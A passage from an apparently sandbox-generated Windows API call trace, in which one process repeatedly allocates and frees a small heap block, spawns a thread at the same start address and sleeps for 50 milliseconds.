returned 1 [0132.811] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.811] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1828 [0132.812] Sleep (dwMilliseconds=0x32) [0132.908] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0132.908] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0132.908] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0132.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b0 [0132.909] Sleep (dwMilliseconds=0x32) [0133.058] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.058] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.058] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ab4 [0133.059] Sleep (dwMilliseconds=0x32) [0133.155] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.155] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.155] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ad8 [0133.156] Sleep (dwMilliseconds=0x32) [0133.279] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.279] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.279] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1adc [0133.280] Sleep (dwMilliseconds=0x32) [0133.447] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.447] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.447] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b10 [0133.448] Sleep (dwMilliseconds=0x32) [0133.555] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.555] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.555] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.555] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1aec [0133.556] Sleep (dwMilliseconds=0x32) [0133.606] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.606] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.606] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.606] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b08 [0133.607] Sleep (dwMilliseconds=0x32) [0133.713] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.713] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.714] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.714] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8c [0133.714] Sleep (dwMilliseconds=0x32) [0133.811] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.811] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.811] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.811] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x155c [0133.812] Sleep (dwMilliseconds=0x32) [0133.900] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0133.900] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0133.900] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0133.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a54 [0133.901] Sleep (dwMilliseconds=0x32) [0134.025] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.025] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.025] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b48 [0134.026] Sleep (dwMilliseconds=0x32) [0134.121] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.121] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.121] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.121] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c0 [0134.122] Sleep (dwMilliseconds=0x32) [0134.226] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.226] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.227] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a30 [0134.227] Sleep (dwMilliseconds=0x32) [0134.324] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.324] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.325] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.325] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b74 [0134.325] Sleep (dwMilliseconds=0x32) [0134.418] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.418] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.418] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.418] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b6c [0134.419] Sleep (dwMilliseconds=0x32) [0134.525] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.525] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.526] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1578 [0134.526] Sleep (dwMilliseconds=0x32) [0134.619] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.619] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.620] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19d0 [0134.620] Sleep (dwMilliseconds=0x32) [0134.719] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.719] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.720] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.720] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18e0 [0134.720] Sleep (dwMilliseconds=0x32) [0134.807] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.808] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.808] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.808] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18ec [0134.808] Sleep (dwMilliseconds=0x32) [0134.915] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0134.915] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0134.915] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0134.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d8 [0134.916] Sleep (dwMilliseconds=0x32) [0135.029] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.029] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.029] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.029] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18dc [0135.030] Sleep (dwMilliseconds=0x32) [0135.094] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.094] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.094] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.094] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15dc [0135.095] Sleep (dwMilliseconds=0x32) [0135.195] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.195] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.195] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.195] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15e0 [0135.195] Sleep (dwMilliseconds=0x32) [0135.291] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.291] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.291] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.291] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1610 [0135.292] Sleep (dwMilliseconds=0x32) [0135.379] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.379] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.379] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1614 [0135.380] Sleep (dwMilliseconds=0x32) [0135.464] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.464] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.464] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15f8 [0135.465] Sleep (dwMilliseconds=0x32) [0135.561] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.561] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.561] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.561] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1288 [0135.561] Sleep (dwMilliseconds=0x32) [0135.656] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.656] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.656] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.656] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1540 [0135.656] Sleep (dwMilliseconds=0x32) [0135.756] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.756] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.757] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x152c [0135.757] Sleep (dwMilliseconds=0x32) [0135.856] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.856] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.856] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.857] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3ac [0135.857] Sleep (dwMilliseconds=0x32) [0135.947] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0135.947] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0135.947] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0135.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x38c [0135.948] Sleep (dwMilliseconds=0x32) [0136.040] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.040] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.040] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x368 [0136.042] Sleep (dwMilliseconds=0x32) [0136.133] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.133] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.133] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.134] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x410 [0136.134] Sleep (dwMilliseconds=0x32) [0136.244] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.244] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.244] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c [0136.244] Sleep (dwMilliseconds=0x32) [0136.335] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.336] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.336] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.336] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3c0 [0136.336] Sleep (dwMilliseconds=0x32) [0136.429] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.429] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.429] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.429] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3cc [0136.430] Sleep (dwMilliseconds=0x32) [0136.524] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.524] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.524] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.524] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0136.525] Sleep (dwMilliseconds=0x32) [0136.617] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.617] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.617] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.617] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f4 [0136.618] Sleep (dwMilliseconds=0x32) [0136.724] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.724] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.724] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.724] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0136.724] Sleep (dwMilliseconds=0x32) [0136.821] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.821] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.821] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.821] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534 [0136.821] Sleep (dwMilliseconds=0x32) [0136.914] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0136.914] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0136.914] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0136.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0136.915] Sleep (dwMilliseconds=0x32) [0137.007] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.007] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.007] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11e8 [0137.008] Sleep (dwMilliseconds=0x32) [0137.102] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.102] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.102] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.102] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11ec [0137.102] Sleep (dwMilliseconds=0x32) [0137.193] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.193] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.193] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.193] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11f0 [0137.194] Sleep (dwMilliseconds=0x32) [0137.287] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.287] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.287] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.288] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d4 [0137.288] Sleep (dwMilliseconds=0x32) [0137.387] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.387] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.387] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11d8 [0137.387] Sleep (dwMilliseconds=0x32) [0137.474] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.474] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.474] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11dc [0137.475] Sleep (dwMilliseconds=0x32) [0137.568] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.568] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.568] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x404160, lpParameter=0x3b1fd34, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11b4 [0137.569] Sleep (dwMilliseconds=0x32) [0137.662] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80) returned 1 [0137.662] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x267f80 | out: hHeap=0x230000) returned 1 [0137.662] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x267f80 [0137.662] CreateThread 